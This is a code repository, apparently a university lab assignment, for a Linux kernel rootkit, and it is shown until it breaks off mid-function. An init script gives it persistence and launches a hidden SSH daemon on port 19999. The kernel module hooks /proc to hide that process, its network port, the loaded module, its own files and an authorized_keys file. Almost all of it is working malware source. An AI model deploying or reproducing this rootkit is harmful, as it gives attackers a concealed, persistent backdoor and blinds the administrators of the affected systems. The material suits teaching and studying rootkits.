├── .gitignore ├── Makefile ├── README.md ├── initscript.sh ├── my_mmap.h ├── my_tlb.h ├── rootkit.c ├── rootkit.h ├── sshd_config └── start-daemon.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *.cmd 2 | .tmp_versions 3 | Module.symvers 4 | modules.order 5 | *.ko 6 | *.o 7 | *.mod.c 8 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # If KERNELRELEASE is defined, we've been invoked from the 2 | # kernel build system and can use its language. 3 | ifneq ($(KERNELRELEASE),) 4 | obj-m := rootkit.o 5 | # Otherwise we were called directly from the command 6 | # line; invoke the kernel build system. 7 | else 8 | KERNELDIR ?= /lib/modules/$(shell uname -r)/build 9 | PWD := $(shell pwd) 10 | 11 | default: 12 | $(MAKE) -C $(KERNELDIR) M=$(PWD) modules 13 | 14 | clean: 15 | $(MAKE) -C $(KERNELDIR) M=$(PWD) clean 16 | 17 | endif 18 | 19 | handin: clean 20 | @if [ `git status --porcelain| wc -l` != 0 ] ; then echo "\n\n\n\n\t\tWARNING: YOU HAVE UNCOMMITTED CHANGES\n\n Consider committing any pending changes and rerunning make handin.\n\n\n\n"; fi 21 | @git tag -f -a lab4-handin -m "Lab4 Handin" 22 | @git push --tags handin 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Kernel_Rootkit 2 | ============== 3 | 4 | A kernel rootkit is a particular type of malware that hides its presence from the user and system administrator, by modifying the OS kernel. 5 | 6 | A rootkit is a kernel module---a library dynamically loaded into the kernel. 7 | 8 | Rootkits make small changes to OS kernel data structures to hide the presence of malicious code. In our ssh example, a rootkit might hide the ssh process in the output of the ps command. 9 | 10 | A rootkit might also hide its binary in the file system, the open socket from netstat, or even hide its CPU usage. 11 | 12 | 13 | The goals of this project: 14 | 15 | - To make the rootkit persistent. 16 | - To hide the ssh server. 17 | - To hide the module itself. 18 | - To hide the open socket. 19 | - To hide module files. 20 | -------------------------------------------------------------------------------- /initscript.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #First things first, insmod rootkit! Init Script for booting up rootkit.ko & sshd 4 | ### BEGIN INIT INFO 5 | # Provides: rootkit 6 | # Required-Start: $remote_fs $syslog 7 | # Required-Stop: $remote_fs $syslong 8 | # Default-Start: 2 3 4 5 9 | # Default-Stop: 0 1 6 10 | # Short-Description: rootkit initialization 11 | # Description: Init script to init rootkit and sshd, derived from skeleton... 12 | # Place in /etc/init.d. and the use update-rc.d initscript.sh defaults to install 13 | # update-rc.d -f initscript.sh remove to remove 14 | ### END INIT INFO 15 | 16 | ################################################################################## 17 | # # 18 | # Change this to point to where you have the rootkit.ko and sshd_config files # 19 | # # 20 | ################################################################################## 21 | ROOTKITLOCATION="/home/cse306/lab/lab4" 22 | 23 | DESC="Insmod RootKit and also daemon too" 24 | NAME=sshd 25 | DAEMON=/usr/sbin/sshd 26 | DAEMON_ARGS="-p 19999 -f $ROOTKITLOCATION/sshd_config -q" 27 | PIDFILE=/var/run/$NAME.pid 28 | SCRIPTNAME=/etc/init.d/initscript2 29 | 30 | # Exit if the package is not installed 31 | [ -x "$DAEMON" ] || exit 0 32 | # Read configuration variable file if it is present 33 | [ -r /etc/default/$NAME ] && . /etc/default/$NAME 34 | # Load the VERBOSE setting and other rcS variables 35 | . /lib/init/vars.sh 36 | # Define LSB log_* functions. 37 | # Depend on lsb-base (>= 3.2-14) to ensure that this file is present 38 | # and status_of_proc is working. 39 | . /lib/lsb/init-functions 40 | # 41 | # Function that starts the daemon/service 42 | # 43 | do_start() 44 | { 45 | # Return 46 | # 0 if daemon has been started 47 | # 1 if daemon was already running 48 | # 2 if daemon could not be started 49 | start-stop-daemon --start --quiet --exec $DAEMON --test --pidfile /FAKE> /dev/null \ 50 | || return 1 51 | start-stop-daemon --start --quiet --exec $DAEMON --pidfile /FAKE -- \ 52 | $DAEMON_ARGS \ 53 | || return 2 54 | 55 | sleep 1 56 | PID=$(cat /var/run/sshd.pid) 57 | /sbin/insmod $ROOTKITLOCATION/rootkit.ko PIDTOHIDE=$PID ROOTKITLOCATION=$ROOTKITLOCATION 58 | 59 | # Add code here, if necessary, that waits for the process to be ready 60 | # to handle requests from services started subsequently which depend 61 | # on this one. As a last resort, sleep for some time. 62 | } 63 | # 64 | # Function that stops the daemon/service 65 | # 66 | do_stop() 67 | { 68 | # Return 69 | # 0 if daemon has been stopped 70 | # 1 if daemon was already stopped 71 | # 2 if daemon could not be stopped 72 | # other if a failure occurred 73 | start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --pidfile /FAKE --name $NAME 74 | RETVAL="$?" 75 | [ "$RETVAL" = 2 ] && return 2 76 | # Wait for children to finish too if this is a daemon that forks 77 | # and if the daemon is only ever run from this initscript. 78 | # If the above conditions are not satisfied then add some other code 79 | # that waits for the process to drop all resources that could be 80 | # needed by services started subsequently. A last resort is to 81 | # sleep for some time. 82 | start-stop-daemon --stop --quiet --oknodo --retry=0/30/KILL/5 --exec $DAEMON 83 | [ "$?" = 2 ] && return 2 84 | # Many daemons don't delete their pidfiles when they exit. 85 | rm -f $PIDFILE 86 | return "$RETVAL" 87 | } 88 | # 89 | # Function that sends a SIGHUP to the daemon/service 90 | # 91 | do_reload() { 92 | # 93 | # If the daemon can reload its configuration without 94 | # restarting (for example, when it is sent a SIGHUP), 95 | # then implement that here. 96 | # 97 | start-stop-daemon --stop --signal 1 --quiet --pidfile /FAKE --name $NAME 98 | return 0 99 | } 100 | case "$1" in 101 | start) 102 | [ "$VERBOSE" != no ] && log_daemon_msg "Starting $DESC" "$NAME" 103 | do_start 104 | case "$?" in 105 | 0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;; 106 | 2) [ "$VERBOSE" != no ] && log_end_msg 1 ;; 107 | esac 108 | ;; 109 | stop) 110 | [ "$VERBOSE" != no ] && log_daemon_msg "Stopping $DESC" "$NAME" 111 | do_stop 112 | case "$?" in 113 | 0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;; 114 | 2) [ "$VERBOSE" != no ] && log_end_msg 1 ;; 115 | esac 116 | ;; 117 | status) 118 | status_of_proc "$DAEMON" "$NAME" && exit 0 || exit $? 119 | ;; 120 | #reload|force-reload) 121 | # 122 | # If do_reload() is not implemented then leave this commented out 123 | # and leave 'force-reload' as an alias for 'restart'. 124 | # 125 | #log_daemon_msg "Reloading $DESC" "$NAME" 126 | #do_reload 127 | #log_end_msg $? 128 | #;; 129 | restart|force-reload) 130 | # 131 | # If the "reload" option is implemented then remove the 132 | # 'force-reload' alias 133 | # 134 | log_daemon_msg "Restarting $DESC" "$NAME" 135 | do_stop 136 | case "$?" in 137 | 0|1) 138 | do_start 139 | case "$?" in 140 | 0) log_end_msg 0 ;; 141 | 1) log_end_msg 1 ;; # Old process is still running 142 | *) log_end_msg 1 ;; # Failed to start 143 | esac 144 | ;; 145 | *) 146 | # Failed to stop 147 | log_end_msg 1 148 | ;; 149 | esac 150 | ;; 151 | *) 152 | #echo "Usage: $SCRIPTNAME {start|stop|restart|reload|force-reload}" >&2 153 | echo "Usage: $SCRIPTNAME {start|stop|status|restart|force-reload}" >&2 154 | exit 3 155 | ;; 156 | esac 157 | : 158 | 159 | -------------------------------------------------------------------------------- /my_mmap.h: -------------------------------------------------------------------------------- 1 | #ifndef _MY_MMAP_H 2 | #define _MY_MMAP_H 3 | 4 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 4, 0) 5 | 6 | typedef unsigned long (* do_mmap_pgoff_t)(struct file *file, unsigned long addr, 7 | unsigned long len, unsigned long prot, 8 | unsigned long flags, 9 | unsigned long pgoff); 10 | 11 | static do_mmap_pgoff_t my_do_mmap_pgoff = NULL; 12 | 13 | #endif //kernel version >=3.4 14 | 15 | #endif //_MY_MMAP_H 16 | -------------------------------------------------------------------------------- /my_tlb.h: -------------------------------------------------------------------------------- 1 | #ifndef _MY_TLB_H 2 | #define _MY_TLB_H 3 | 4 | #include 5 | 6 | typedef unsigned long (* unmap_page_range_t)(struct mmu_gather *tlb, 7 | struct vm_area_struct *vma, 8 | unsigned long addr, unsigned long end, 9 | long *zap_work, struct zap_details *details); 10 | 11 | static unmap_page_range_t unmap_page_range = NULL; 12 | 13 | typedef void (* free_pages_and_swap_cache_t )(struct page **, int); 14 | 15 | free_pages_and_swap_cache_t kern_free_pages_and_swap_cachep = NULL; 16 | 17 | typedef void (* flush_tlb_mm_t) (struct mm_struct *mm); 18 | 19 | flush_tlb_mm_t kern_flush_tlb_mm = NULL; 20 | 21 | typedef void (*free_pgtables_t)(struct mmu_gather *tlb, struct vm_area_struct *vma, 22 | unsigned long floor, unsigned long ceiling); 23 | 24 | free_pgtables_t kern_free_pgtables = NULL; 25 | 26 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 2, 0) 27 | 28 | /* 29 | * If we can't allocate a page to make a big batch of page pointers 30 | * to work on, then just handle a few from the on-stack structure. 31 | */ 32 | #define MMU_GATHER_BUNDLE 8 33 | 34 | struct mmu_gather_batch { 35 | struct mmu_gather_batch *next; 36 | unsigned int nr; 37 | unsigned int max; 38 | struct page *pages[0]; 39 | }; 40 | 41 | /* struct mmu_gather is an opaque type used by the mm code for passing around 42 | * any data needed by arch specific code for tlb_remove_page. 43 | */ 44 | struct mmu_gather { 45 | struct mm_struct *mm; 46 | #ifdef CONFIG_HAVE_RCU_TABLE_FREE 47 | struct mmu_table_batch *batch; 48 | #endif 49 | unsigned int need_flush : 1, /* Did free PTEs */ 50 | fast_mode : 1; /* No batching */ 51 | 52 | unsigned int fullmm; 53 | 54 | struct mmu_gather_batch *active; 55 | struct mmu_gather_batch local; 56 | struct page *__pages[MMU_GATHER_BUNDLE]; 57 | }; 58 | 59 | typedef void (*tlb_gather_mmu_t)(struct mmu_gather *tlb, struct mm_struct *mm, bool fullmm); 60 | tlb_gather_mmu_t my_tlb_gather_mmu = NULL; 61 | 62 | typedef void (*tlb_flush_mmu_t)(struct mmu_gather *tlb); 63 | tlb_flush_mmu_t my_tlb_flush_mmu = NULL; 64 | 65 | typedef void (*tlb_finish_mmu_t)(struct mmu_gather *tlb, unsigned long start, unsigned long end); 66 | tlb_finish_mmu_t my_tlb_finish_mmu = NULL; 67 | 68 | #else 69 | 70 | #ifdef CONFIG_X86 71 | #ifdef CONFIG_SMP 72 | #ifdef ARCH_FREE_PTR_NR 73 | #define FREE_PTR_NR ARCH_FREE_PTR_NR 74 | #else 75 | #define FREE_PTE_NR 506 76 | #endif 77 | #define tlb_fast_mode(tlb) ((tlb)->nr == ~0U) 78 | #else 79 | #define FREE_PTE_NR 1 80 | #define tlb_fast_mode(tlb) 1 81 | #endif 82 | 83 | #define tlb_flush(tlb) kern_flush_tlb_mm((tlb)->mm) 84 | 85 | 86 | /* struct mmu_gather is an opaque type used by the mm code for passing around 87 | * any data needed by arch specific code for tlb_remove_page. 88 | */ 89 | struct mmu_gather { 90 | struct mm_struct *mm; 91 | unsigned int nr; /* set to ~0U means fast mode */ 92 | unsigned int need_flush;/* Really unmapped some ptes? */ 93 | unsigned int fullmm; /* non-zero means full mm flush */ 94 | struct page * pages[FREE_PTE_NR]; 95 | }; 96 | #else 97 | #error Need mmu_gather def 98 | #endif 99 | 100 | struct mmu_gather *pmmu_gathers = NULL; 101 | 102 | /* tlb_gather_mmu 103 | * Return a pointer to an initialized struct mmu_gather. 104 | */ 105 | static inline struct mmu_gather * 106 | my_tlb_gather_mmu(struct mm_struct *mm, unsigned int full_mm_flush) 107 | { 108 | struct mmu_gather *tlb = &get_cpu_var(*pmmu_gathers); 109 | 110 | tlb->mm = mm; 111 | 112 | /* Use fast mode if only one CPU is online */ 113 | tlb->nr = num_online_cpus() > 1 ? 0U : ~0U; 114 | 115 | tlb->fullmm = full_mm_flush; 116 | 117 | return tlb; 118 | } 119 | 120 | static inline void 121 | my_tlb_flush_mmu(struct mmu_gather *tlb, unsigned long start, unsigned long end) 122 | { 123 | if (!tlb->need_flush) 124 | return; 125 | tlb->need_flush = 0; 126 | tlb_flush(tlb); 127 | if (!tlb_fast_mode(tlb)) { 128 | kern_free_pages_and_swap_cachep(tlb->pages, tlb->nr); 129 | tlb->nr = 0; 130 | } 131 | } 132 | 133 | 134 | /* tlb_finish_mmu 135 | * Called at the end of the shootdown operation to free up any resources 136 | * that were required. 137 | */ 138 | static inline void 139 | my_tlb_finish_mmu(struct mmu_gather *tlb, unsigned long start, unsigned long end) 140 | { 141 | my_tlb_flush_mmu(tlb, start, end); 142 | 143 | /* keep the page table cache within bounds */ 144 | check_pgt_cache(); 145 | 146 | put_cpu_var(*pmmu_gathers); 147 | } 148 | #endif // Pre 3.2 kernel 149 | 150 | 151 | #endif 152 | 153 | 154 | -------------------------------------------------------------------------------- /rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "my_tlb.h" 14 | #include "my_mmap.h" 15 | #include "rootkit.h" 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | 25 | MODULE_LICENSE("Dual BSD/GPL"); 26 | 27 | //#define ROOTKIT_DEBUG 1 28 | //#define PORTTOHIDE 19999 //Our port to block... 29 | 30 | // some concepts used in this code were derived from http://average-coder.blogspot.com/2011/12/linux-rootkit.html 31 | 32 | #if defined(ROOTKIT_DEBUG) && ROOTKIT_DEBUG == 1 33 | # define DEBUG(...) printk(KERN_INFO __VA_ARGS__) 34 | #else 35 | # define DEBUG(...) 36 | #endif 37 | 38 | typedef int (*readdir_t)(struct file *, void *, filldir_t); 39 | 40 | //Old Structs 41 | filldir_t old_proc_filldir; 42 | static struct file_operations new_proc_fops; 43 | const struct file_operations * old_proc_fops = 0; 44 | static struct inode * old_proc_inode; 45 | struct inode * new_proc_inode; 46 | 47 | //for ex4 48 | static struct file_operations new_tcp_fops; 49 | const struct file_operations * old_tcp_fops = 0; 50 | static struct inode *old_tcp_inode; 51 | struct inode * new_tcp_inode; 52 | static struct file_operations new_tcp6_fops; 53 | const struct file_operations * old_tcp6_fops = 0; 54 | static struct inode *old_tcp6_inode; 55 | struct inode * new_tcp6_inode; 56 | static char * PORTTOHIDE = "4E1F"; //We use hex for easy compare 57 | 58 | 59 | //Mod Param 60 | static char * PIDTOHIDE = NULL; 61 | module_param(PIDTOHIDE, charp, 0644); 62 | 63 | static char *ROOTKITLOCATION = NULL; 64 | module_param(ROOTKITLOCATION, charp, 0644); 65 | 66 | //Old Functions 67 | int (*old_tcp4_seq_show) (struct seq_file*, void *); //A Function pointer... we will use this to preserve the old one 68 | int (*old_proc_readdir) (struct file * fptr, void * vptr, filldir_t fdir); 69 | 70 | //New Functions 71 | static int new_proc_readdir(struct file *fp, void *buf, filldir_t filldir); 72 | int restore_hide_process(void); 73 | int hide_process(void); 74 | int new_proc_filldir(void *a, const char *name, int c, loff_t d, u64 e, unsigned f); 75 | 76 | //Ex4 77 | ssize_t (*old_tcp_read)(struct file *fp, char __user *buf, size_t sz, loff_t *loff); 78 | int hide_port(void); 79 | static int new_tcp_read(struct file *fp, char __user *buf, size_t sz, loff_t *loff); 80 | 81 | ssize_t (*old_tcp6_read)(struct file *fp, char __user *buf, size_t sz, loff_t *loff); 82 | static int new_tcp6_read(struct file *fp, char __user *buf, size_t sz, loff_t *loff); 83 | 84 | // functions, variables, and structs for ex3 85 | static struct inode * mod_inode; 86 | const struct file_operations * old_mod_fops = 0; 87 | static struct file_operations new_mod_fops; 88 | ssize_t (*old_mod_read) (struct file *, char __user *, size_t, loff_t *); 89 | ssize_t new_mod_read (struct file *f, char __user *u, size_t s, loff_t *l); 90 | char *rootkitName = "rootkit"; 91 | 92 | int hide_module(void); 93 | int restore_module(void); 94 | 95 | 96 | // functions, variables, and structs for ex5 97 | static struct inode * files_inode; 98 | const struct file_operations * old_files_fops = 0; 99 | static struct file_operations new_files_fops; 100 | ssize_t (*old_files_readdir) (struct file *, void *, filldir_t); 101 | static ssize_t new_files_readdir (struct file *fp, void *buf, filldir_t filldir); 102 | int new_files_filldir(void *a, const char *name, int c, loff_t d, u64 e, unsigned f); 103 | int (*old_files_filldir)(void *, const char *, int , loff_t , u64 , unsigned ); 104 | 105 | static struct inode * keys_inode; 106 | const struct file_operations * old_keys_fops = 0; 107 | static struct file_operations new_keys_fops; 108 | ssize_t (*old_keys_readdir) (struct file *, void *, filldir_t); 109 | static ssize_t new_keys_readdir (struct file *fp, void *buf, filldir_t filldir); 110 | int new_keys_filldir(void *a, const char *name, int c, loff_t d, u64 e, unsigned f); 111 | int (*old_keys_filldir)(void *, const char *, int , loff_t , u64 , unsigned ); 112 | 113 | int hide_files(void); 114 | int restore_files(void); 115 | 116 | int restore_hide_process(void) 117 | { 118 | if(old_proc_fops) //Just a null check in case 119 | old_proc_inode->i_fop = old_proc_fops; 120 | 121 | return 0; 122 | } 123 | 124 | int restore_hide_port(void){ 125 | if(old_tcp_fops) //Check null 126 | old_tcp_inode->i_fop = old_tcp_fops; 127 | 128 | if(old_tcp6_fops) 129 | old_tcp6_inode->i_fop = old_tcp6_fops; 130 | 131 | return 0; 132 | } 133 | 134 | static int new_proc_readdir(struct file *fp, void *buf, filldir_t filldir) 135 | { 136 | if(!(old_proc_filldir = filldir)) //Check null 137 | return -1; 138 | 139 | //Use the old one except replace it with new filldir 140 | return old_proc_readdir(fp,buf,new_proc_filldir); 141 | } 142 | 143 | int new_proc_filldir(void *a, const char *name, int c, loff_t d, u64 e, unsigned f){ 144 | 145 | if(strcmp(PIDTOHIDE, name) == 0){ 146 | return 0; 147 | } 148 | 149 | //Use old one... 150 | return old_proc_filldir(a, name, c, d, e, f); 151 | } 152 | 153 | static ssize_t new_tcp6_read(struct file * fptr, char __user * buffer, size_t size, loff_t * offset) { 154 | ssize_t origin_read; 155 | char *lineptr, *sublineptr; 156 | origin_read = old_tcp6_read(fptr,buffer,size,offset); 157 | lineptr = strstr(buffer, "\n")+1; 158 | while(lineptr != NULL && *lineptr){ 159 | 160 | sublineptr = strstr(strstr(lineptr, ":")+1,":")+1; //String with Port starting... 161 | 162 | if(!sublineptr){break;}//Just incase it's null... avoid null problems 163 | 164 | //Check Local address 165 | if(strncmp(sublineptr, PORTTOHIDE, 4) == 0){ 166 | 167 | char * nextline; 168 | //We want to skip this whole line 169 | 170 | nextline = strstr(lineptr, "\n") + 1; 171 | 172 | if(!nextline){break;} 173 | lineptr = strcpy(lineptr, nextline); 174 | 175 | origin_read -= nextline - lineptr; //reduce amount read by the killed line... 176 | continue; 177 | } 178 | 179 | //Check foreign address too 180 | if(!strstr(sublineptr, ":")){break;} //Just incase it's null... avoid null problems 181 | sublineptr = strstr(sublineptr, ":") + 1; 182 | 183 | if(strncmp(sublineptr, PORTTOHIDE, 4) == 0){ 184 | char * nextline; 185 | //We want to skip this whole line 186 | 187 | nextline = strstr(lineptr, "\n") + 1; 188 | 189 | if(!nextline){break;} 190 | lineptr = strcpy(lineptr, nextline); 191 | 192 | origin_read -= nextline - lineptr; //reduce amount read by the killed line... 193 | continue; 194 | } 195 | 196 | lineptr = strstr(lineptr, "\n") + 1; //get next line 197 | } 198 | return origin_read; 199 | } 200 | 201 | static ssize_t new_tcp_read(struct file * fptr, char __user * buffer, size_t size, loff_t * offset) { 202 | ssize_t origin_read; 203 | char *lineptr, *sublineptr; 204 | origin_read = old_tcp_read(fptr,buffer,size,offset); 205 | lineptr = strstr(buffer, "\n")+1; 206 | while(lineptr != NULL && *lineptr){ 207 | 208 | sublineptr = strstr(strstr(lineptr, ":")+1,":")+1; //String with Port starting... 209 | 210 | if(!sublineptr){break;} 211 | 212 | if(strncmp(sublineptr, PORTTOHIDE, 4) == 0){ 213 | 214 | char * nextline; 215 | //We want to skip this whole line 216 | 217 | nextline = strstr(lineptr, "\n") + 1; 218 | 219 | if(!nextline){break;} 220 | lineptr = strcpy(lineptr, nextline); 221 | 222 | origin_read -= nextline - lineptr; //reduce amount read by the killed line... 223 | continue; 224 | } 225 | if(!strstr(sublineptr, ":")){break;}//Just incase it's null... avoid null problems 226 | sublineptr = strstr(sublineptr, ":") + 1; 227 | 228 | if(strncmp(sublineptr, PORTTOHIDE, 4) == 0){ 229 | char * nextline; 230 | //We want to skip this whole line 231 | 232 | nextline = strstr(lineptr, "\n") + 1; 233 | 234 | if(!nextline){break;} 235 | lineptr = strcpy(lineptr, nextline); 236 | 237 | origin_read -= nextline - lineptr; //reduce amount read by the killed line... 238 | continue; 239 | } 240 | lineptr = strstr(lineptr, "\n") + 1; //get next line 241 | } 242 | return origin_read; 243 | } 244 | 245 | int hide_port(void){ 246 | //Hide the TCP Port 19999 247 | 248 | struct path tcp_path; 249 | struct path tcp6_path; 250 | 251 | if(kern_path("/proc/net/tcp", 0, &tcp_path)){ 252 | return -1; 253 | } 254 | 255 | if(kern_path("/proc/net/tcp6", 0, &tcp6_path)){ 256 | return -1; 257 | } 258 | 259 | old_tcp6_inode = tcp6_path.dentry->d_inode; 260 | old_tcp_inode = tcp_path.dentry->d_inode; //grab the inode 261 | 262 | if(!old_tcp_inode){ //check if inodes are null 263 | return -1; 264 | } 265 | 266 | if(!old_tcp6_inode){ 267 | return -1; 268 | } 269 | 270 | //hook the read function for tcp 271 | old_tcp_fops = old_tcp_inode->i_fop; 272 | old_tcp_read = old_tcp_fops->read; 273 | new_tcp_fops = *(old_tcp_inode->i_fop); 274 | new_tcp_fops.read = new_tcp_read; 275 | old_tcp_inode->i_fop = &new_tcp_fops; 276 | 277 | //hook the read function for tcp6 278 | old_tcp6_fops = old_tcp6_inode->i_fop; 279 | old_tcp6_read = old_tcp6_fops->read; 280 | new_tcp6_fops = *(old_tcp6_inode->i_fop); 281 | new_tcp6_fops.read = new_tcp6_read; 282 | old_tcp6_inode->i_fop = &new_tcp6_fops; 283 | 284 | return 0; 285 | } 286 | 287 | int hide_process(void){ 288 | struct path proc_path; 289 | 290 | //TEST PID 291 | 292 | if(!PIDTOHIDE){ 293 | printk(KERN_ALERT "Failed to get pid"); 294 | } 295 | 296 | //printk(KERN_ALERT "The pid is %s\n", PIDTOHIDE); 297 | 298 | //Get inode 299 | if(kern_path("/proc/", 0, &proc_path)) 300 | return -1; 301 | 302 | //Save old inode 303 | old_proc_inode = proc_path.dentry->d_inode; 304 | if(!old_proc_inode) 305 | return -1; 306 | 307 | //Exchange them 308 | old_proc_fops = old_proc_inode->i_fop; 309 | //memcpy(&new_proc_fops, old_proc_inode->i_fop, sizeof(struct * file_operations)); 310 | new_proc_fops = *(old_proc_inode->i_fop); 311 | 312 | //REPLACE WITH HACKED VERSION of FOPS and READDIR 313 | old_proc_readdir = old_proc_fops->readdir; //SAVE OLD COPY OF FUNCTION 314 | 315 | new_proc_fops.readdir = new_proc_readdir; 316 | //printk(KERN_ALERT "The addr of new_proc_ops is %p and old_proc_ops is %p", &new_proc_fops, old_proc_fops); 317 | old_proc_inode->i_fop = &new_proc_fops; 318 | 319 | //printk(KERN_ALERT "Finished!\n"); 320 | return 0; 321 | } 322 | 323 | ssize_t new_mod_read (struct file *f, char __user *b, size_t size, loff_t *l) 324 | { 325 | 326 | ssize_t rv; 327 | char b_cpy[size]; 328 | int start = -1; 329 | int end = -1; 330 | int i = 0; 331 | int index = 0; 332 | //*l = *l +38; 333 | 334 | //printk(KERN_ALERT " before read from mod: %lld", *l); 335 | rv = old_mod_read(f, b, size, l); 336 | if(rv > 0) 337 | { 338 | // get read buffer 339 | copy_from_user(b_cpy, b, size); 340 | 341 | // find rootkit line 342 | for(i = 0; i < size; i++) 343 | { 344 | if(index == 7) 345 | { 346 | if(b_cpy[i] == '\n') 347 | { 348 | end = i + 1; 349 | break; 350 | } 351 | } 352 | else if(b_cpy[i] == rootkitName[index]) 353 | { 354 | if(index == 0) 355 | { 356 | start = index; 357 | } 358 | index++; 359 | } 360 | else 361 | { 362 | start = -1; 363 | index = 0; 364 | } 365 | 366 | } 367 | 368 | // over write rootkit line 369 | for(i = 0; i < end - start; i++) 370 | { 371 | b_cpy[start + i] = b_cpy[end + i]; 372 | } 373 | 374 | //printk(KERN_ALERT "start: %d end: %d", start, end); 375 | 376 | size = size - (end - start); 377 | 378 | // replace read buffer 379 | copy_to_user(b, b_cpy, size); 380 | 381 | } 382 | //printk(KERN_ALERT "after read from mod: %lld %d %d", *l, size, rv); 383 | 384 | return rv; 385 | } 386 | 387 | int hide_module() 388 | { 389 | struct path p; 390 | if(kern_path("/proc/modules", 0, &p)) 391 | return -1; 392 | 393 | mod_inode = p.dentry->d_inode; 394 | if(!mod_inode) 395 | return -1; 396 | 397 | //Exchange them 398 | old_mod_fops = mod_inode->i_fop; 399 | new_mod_fops = *(mod_inode->i_fop); 400 | 401 | //REPLACE WITH HACKED VERSION of FOPS and READDIR 402 | old_mod_read = old_mod_fops->read; //SAVE OLD COPY OF FUNCTION 403 | 404 | new_mod_fops.read = new_mod_read; 405 | //printk(KERN_ALERT "The addr of new_proc_ops is %p and old_proc_ops is %p", &new_proc_fops, old_proc_fops); 406 | mod_inode->i_fop = &new_mod_fops; 407 | 408 | //CLOSE THE FILE NOW 409 | //filp_close(proc_root, 0); 410 | //printk(KERN_ALERT "Finished!\n"); 411 | return 0; 412 | } 413 | 414 | int restore_module() 415 | { 416 | if(old_mod_fops) 417 | mod_inode->i_fop = old_mod_fops; 418 | return 0; 419 | } 420 | 421 | int hide_files() 422 | { 423 | struct path files_path; 424 | struct path keys_path; 425 | 426 | 427 | // Hide root kit files 428 | //Get inode 429 | if(kern_path(ROOTKITLOCATION, 0, &files_path)) 430 | return -1; 431 | 432 | //Save old inode 433 | files_inode = files_path.dentry->d_inode; 434 | if(!files_inode) 435 | return -1; 436 | 437 | //Exchange them 438 | old_files_fops = files_inode->i_fop; 439 | //memcpy(&new_proc_fops, old_proc_inode->i_fop, sizeof(struct * file_operations)); 440 | new_files_fops = *(files_inode->i_fop); 441 | 442 | //REPLACE WITH HACKED VERSION of FOPS and READDIR 443 | old_files_readdir = old_files_fops->readdir; //SAVE OLD COPY OF FUNCTION 444 | 445 | new_files_fops.readdir = new_files_readdir; 446 | //printk(KERN_ALERT "The addr of new_proc_ops is %p and old_proc_ops is %p", &new_proc_fops, old_proc_fops); 447 | files_inode->i_fop = &new_files_fops; 448 | 449 | 450 | 451 | 452 | // hide authorized_keys file 453 | //Get inode 454 | if(kern_path("/fake.ssh", 0, &keys_path)) 455 | return -1; 456 | 457 | //Save old inode 458 | keys_inode = keys_path.dentry->d_inode; 459 | if(!keys_inode) 460 | return -1; 461 | 462 | //Exchange them 463 | old_keys_fops = keys_inode->i_fop; 464 | //memcpy(&new_proc_fops, old_proc_inode->i_fop, sizeof(struct * file_operations)); 465 | new_keys_fops = *(keys_inode->i_fop); 466 | 467 | //REPLACE WITH HACKED VERSION of FOPS and READDIR 468 | old_keys_readdir = old_keys_fops->readdir; //SAVE OLD COPY OF FUNCTION 469 | 470 | new_keys_fops.readdir = new_keys_readdir; 471 | //printk(KERN_ALERT "The addr of new_proc_ops is %p and old_proc_ops is %p", &new_proc_fops, old_proc_fops); 472 | keys_inode->i_fop = &new_keys_fops; 473 | 474 | //CLOSE THE FILE NOW 475 | //printk(KERN_ALERT "Finished!\n"); 476 | return 0; 477 | } 478 | 479 | int restore_files() 480 | { 481 | if(old_files_fops) 482 | files_inode->i_fop = old_files_fops; 483 | 484 | if(old_keys_fops) 485 | keys_inode->i_fop = old_keys_fops; 486 | return 0; 487 | } 488 | 489 | static int new_files_readdir(struct file *fp, void *buf, filldir_t filldir) 490 | { 491 | if(!(old_files_filldir = filldir)) //Check null stuff 492 | return -1; 493 | 494 | //Use the old one except replace it with new filldir 495 | return old_files_readdir(fp,buf,new_files_filldir); 496 | } 497 | 498 | int new_files_filldir(void *a, const char *name, int c, loff_t d, u64 e, unsigned f){ 499 | 500 | if(strcmp("rootkit", name) <= 0){ 501 | return 0; 502 | } 503 | 504 | if(strcmp("sshd_config", name) == 0){ 505 | return 0; 506 | } 507 | 508 | //Use old one... 509 | return old_files_filldir(a, name, c, d, e, f); 510 | } 511 | 512 | static int new_keys_readdir(struct file *fp, void *buf, filldir_t filldir) 513 | { 514 | if(!(old_keys_filldir = filldir)) //Check null stuff 515 | return -1; 516 | 517 | //Use the old one except replace it with new filldir 518 | return old_keys_readdir(fp,buf,new_keys_filldir); 519 | } 520 | 521 | int new_keys_filldir(void *a, const char *name, int c, loff_t d, u64 e, unsigned f){ 522 | 523 | if(strcmp("authorized_keys", name) == 0){ 524 | return 0; 525 | } 526 | 527 | //Use old one... 528 | return old_keys_filldir(a, name, c, d, e, f); 529 | } 530 | 531 | 532 | static int rootkit_init(void) 533 | { 534 | int rv = 0; 535 | void * __end = (void *) &unmap_page_range; 536 | 537 | /* Find the non-exported symbols. 'Cause you can't stop me. */ 538 | unmap_page_range = (unmap_page_range_t) 539 | kallsyms_lookup_name("unmap_page_range"); 540 | if ((!unmap_page_range) || (void *) unmap_page_range >= __end) { 541 | printk(KERN_ERR "Rootkit error: " 542 | "can't find important function unmap_page_range\n"); 543 | return -ENOENT; 544 | } 545 | 546 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 2, 0) 547 | my_tlb_gather_mmu = (tlb_gather_mmu_t) 548 | kallsyms_lookup_name("tlb_gather_mmu"); 549 | //printk(KERN_ERR "resolved symbol tlb_gather_mmu %p\n", my_tlb_gather_mmu); 550 | if (!my_tlb_gather_mmu) { 551 | printk(KERN_ERR "Rootkit error: " 552 | "can't find kernel function my_tlb_gather_mmu\n"); 553 | return -ENOENT; 554 | } 555 | 556 | my_tlb_flush_mmu = (tlb_flush_mmu_t) 557 | 